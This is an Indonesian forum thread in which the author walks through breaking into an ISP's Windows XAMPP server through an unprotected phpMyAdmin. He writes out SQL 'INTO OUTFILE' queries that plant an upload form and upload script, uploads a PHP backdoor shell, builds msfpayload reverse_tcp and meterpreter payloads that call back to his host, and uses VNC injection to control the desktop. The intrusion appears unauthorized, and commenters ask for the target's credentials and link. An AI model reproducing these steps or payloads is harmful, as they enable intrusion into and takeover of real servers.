[zee eichel]

Akibat dari kelalaian aplikasi phpmyadmin yang tidak di password atau terinstall secara asal-asalan ternyata fatal .. kali ini ane posting mengenai bagaimana modus seorang attacker dalam melakukan penyisupan dengan memanfaatkan kelemahan aplikasi phpmyadmin

Apa itu phpmyadmin ? setahu saya phpmyadmin adalah aplikasi yang di gunakan dalam pengoperasian mysql melalui web environment. Karena memang pengoperasian mysql dari command line masih tergolong sulit. Ok coba ane bahas kronologis akibat dari hal ini.

1. Target yang memiliki kelemahan dalam aplikasi phpmyadmin

Begitu saya membuka url target .. hupfftt ternyata phpmyadminnya terbuka… ya saya lanjutkan dengan mengexploitasi…kenapa langsung terbuka? karena secara default phpmyadmin terinstall tanpa menggunakan password .. username:root password:no biasanya hal ini terjadi ketika windows user menginstall xampp secara default.



Kemudian saya coba buat database baru dengan nama tes.. kemungkinan nalar saya mengatakan bahwa sang admin gk akan curiga dengan database bernama tes.. karena saya sendiri sering membuat database dengan nama seperti itu untuk melakukan testing database pada phpmyadmin

2. Mengetahui dengan pasti aplikasi webserver yang di gunakan target. ( INFORMATION GATHERING )

Aplikasi webserver kan bermacam-macam .. sesuai dengan operatingsystem yang dipakai.. sebut saja apache, nginx yang biasanya ada pada sistem linux dan xampp yang berada pada sistem windows.. untuk mengetahui dengan pasti aplikasi yang di pakai biasanya attacker akan mencari tau aplikasi yang dipakai. Pada kasus ini saya tinggal membuka halaman index dan terlihat xampp secara default



Hmm terlihat jelas sekali bahwa sistem operasi yang di pakai ada windows dan aplikasi web server yang dipakai adalah xampp. Pada kasus yang berbeda nntinya anda tinggal akan mengganti lokasi-lokasi dir default dari berbagai aplikasi web server.

3. Mengesekusi query untuk membuat file upload

Nah seperti yang kita tau , mysql memiliki beberapa perintah-perintah dalam bentuk query atau sql syntax, nah dengan memanfaatkan kesempatan tersebut, attacker akan membuat sebuah perintah-perintah query dengan tujuan tertentu

caranya ?

Saya masuk ke database “test” yang baru saja saya buat kemudian saya buka sql dan memasukan query-query di bawah ini

Code:

use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('
Upload file :');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/form.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Perintah di atas sebenarnya bertujuan untuk membuat file bernama form.php yang nntinya digunakan attacker untuk meupload file backdoor. Perhatikan sytax html pada form dengan action=”upload.php” yup tebakan anda benar … kita harus membuat file upload.phpnya yang menjadi esekutor.



Kita ulangi kembali langkah tadi kemudian masukan query di bawah ini untuk membuat file upload.php

Code:

use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "C:/xampp/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "
";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "
";?>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/upload.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Tinggal neken tombol “GO” nah sebenarnya dilihat dari perintah maka kita akan membuat file tersebut didalam direktori web default xampp yaitu “c:/xampp/htdocs/” dan dengan kedua query tadi attacker telah membuat 2 file dalam dir c:/xampp/htdocs/ yaitu “form.php” dan “upload.php”

4. Upload file backdoor ( EXPLOITATION )

Kemudian attacker tinggal membuka file form.php untuk mengupload file berikutnya… karena di upload pada direktori utama pada xampp di dir “htdocs” maka attacker tinggal membuka url http://situstarget/form.php



yup dari sini sudah di buka form upload di mana anda dapat melakukan langkah selanjutnya. Ane mencoba mengupload file backdoor.php modipan om james0baster yang dikenal dengan nama 404.php…ternyata berhasil.



yup sejauh ini anda sudah menjadi “admin” karena dilihat dari informasi yang di hasilkan 404.php anda berprivilage admin.. mengingat memang windows menginstall xamp lewat privilage admin

Apakah attacker akan berhenti sampai disini ? tentu saja tidak .. attacker akan berusaha untuk mendapatkan akses lebih dalam lagi .. dalam hal ini sangat dimungkinkan mesin disusupi remote backdoor.

5. REMOTE BACKDOOR ( MAINTAINING ACCESS )

Ok seperti yang saya bilang attacker tidak akan puas sebelum anda benar2 terOWNED !!! karena itu saya coba buat backdoor dengan menggunakan fasilitas payload

Code:

root@eichel:~# msfpayload windows/shell/reverse_tcp LHOST=1xx.xxx.xxx.xxx x > /tmp/zee.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"LHOST"=>"1xx.xxx.xxx.xxx"}
root@eichel:~# msfpayload windows/meterpreter/reverse_tcp LHOST=1xx.xxx.xxx.xxx x > /tmp/susan.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"1xx.xxx.xxx.xxx"}

hehehe backdoor bernama “susan” sudah siap digunakan. Backdoor tersebut kemudian saya upload lewat shell 404.php tadi ..



Tinggal saya jalankan metasploit listernernya di backtrack saya



Kemudian attacker akan mengesekusi file remote backdoor melalui shell. Dalam kasus ini saya mencoba esekusi file susan,exe melalui backdoor 404.php



Dan meterpreterpun terbuka.. sebenarnya ini termasuk dari tehnik penyerangan melalui NAT yang sering ditanya2 di forum.. hanya dengan ip publik vs ip publik kita bisa melakukan hal ini.



jiahh kita lihat proses berjalan pada server target …



Dilihat dari prosesnya ada 2 antivirus sedang berjalan .. hmmm

1280 DefWatch.exe x86 0 C:\Program Files\Symantec AntiVirus\DefWatch.exe
1308 explorer.exe x86 0 ADMIN\Admin C:\WINDOWS\Explorer.EXE
1316 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1336 snmp.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\snmp.exe
1340 hkcmd.exe x86 0 ADMIN\Admin C:\WINDOWS\system32\hkcmd.exe
1364 postgres.exe x86 0 C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
1400 YahooAUService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Yahoo!\SoftwareUpdate\YahooAUService.exe
1520 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1552 pds.exe x86 0 C:\WINDOWS\system32\CBA\pds.exe
1584 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1672 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1684 igfxpers.exe x86 0 ADMIN\Admin C:\WINDOWS\system32\igfxpers.exe
1708 SM?RTP.exe x86 0 ADMIN\Admin C:\Program Files\Smadav\SM?RTP.exe

Ternyata antivirusnya kyknya gk diupdate atau bajakan ?.. hanya ALLAH yang tau !

Adanya proses yahoo messangger membuat saya penasaran .. siapa tau bisa liat2 percakapn gitu hahaha.. akhirnya saya melakukan migrating ke proses explorer.exe yaitu pada pid 1308 kemudian melakukan vnc backdoor injection



dan remote-desktop melalui vnc stagger pun terbuka …dan saya bahkan dapat mengontrol / meremote desktop server target dari jauh !!



Ternyata server yang kita pentest barusan itu adalah server ISP ( internet service provide ) yang membagi-bagi bandwidth .. semoga admin dari perusahaan tersebut melihat postingan ini kemudian memperbaiki celah tersebut…

Langkah terakhir saya mencoba memasuki cmd shell dari server tersebut ..



Ok server ini ter-owned sepenuhnya …

Pelajaran yang harus kita tarik bersama dari postingan ini

1. Hati-hati terhadap aplikasi phpmyadmin anda .. pastikan berpassword.. kalau perlu tidak menggunakan aplikasi2 tersebut .. gunakan command line .. ingat akan SBL-CL! and say no to GUI !

2. Wahai engkau pengguna windus,… bertobatlah dan gunakan windows asli serta berbagai aplikasi asli. Karena biar bagaimanapun Allah tidak ridho kepada para pembajak dan pencuri !! mau make aplikasi dan os mudah .. tapi gk mau keluar modal..!!! LINUX ADA UNTUK MENJAWAB MASALAH ANDA DAN MENGHINDARKAN ANDA DARI DOSA PEMBAJAKAN.. aminnnn…

saya zee eichel mohon undur diri dari hadapan anda …

[THJC]

Set, berbahaya juga ya....
ngeri banget

[ariefhikam$]

Beh. Ngeri

[permana]

Udah sering sih lihat kelailain PHPMyadmin , , Tapi POsting kali ini bener2 mantep , ,

Untung Ane Pake WINDOWS 7 Original

hehe

[shendo]

minta user pass ssh nya ah...wkwkwkwk

[Ady462]

Wahai engkau pengguna windus,… bertobatlah dan gunakan windows asli serta berbagai aplikasi asli. Karena biar bagaimanapun Allah tidak ridho kepada para pembajak dan pencuri !! mau make aplikasi dan os mudah .. tapi gk mau keluar modal..!!! LINUX ADA UNTUK MENJAWAB MASALAH ANDA DAN MENGHINDARKAN ANDA DARI DOSA PEMBAJAKAN.. aminnn .>>>>kata2nya keren om . tapi rata2 member disini juga posting make windows

[zee eichel]

Posting pake windows ...apakah saya larang ? baca baik2 bro ...."gunakan windows asli" bukan msalah pake windows om ...tapi itu ajakan untuk tidak melakukan pembajakan bukan penggunaan ....ckkccckkck sekali lagi itu hanya ajakan..... baca dulu baik2 thread baru comment ya... ane paling gk suka di thread ane ada spammers ! ....

[nesta]

sekalian share linknya om zee, biar di perko*a sama temen2 ckckckck

[iKONspirasi]

hahaha, ane juga pake windows nih, berhubung punya kantor jadi semua di dalamnya asli....well kecuali game dota ane

[shendo]

hahahaha...mo windows, linux, mac os, semua itu tergantung joki nya...mereka semua hanya alat tinggal digunakan ke arah yang mana....yang membedakan hanya licensi...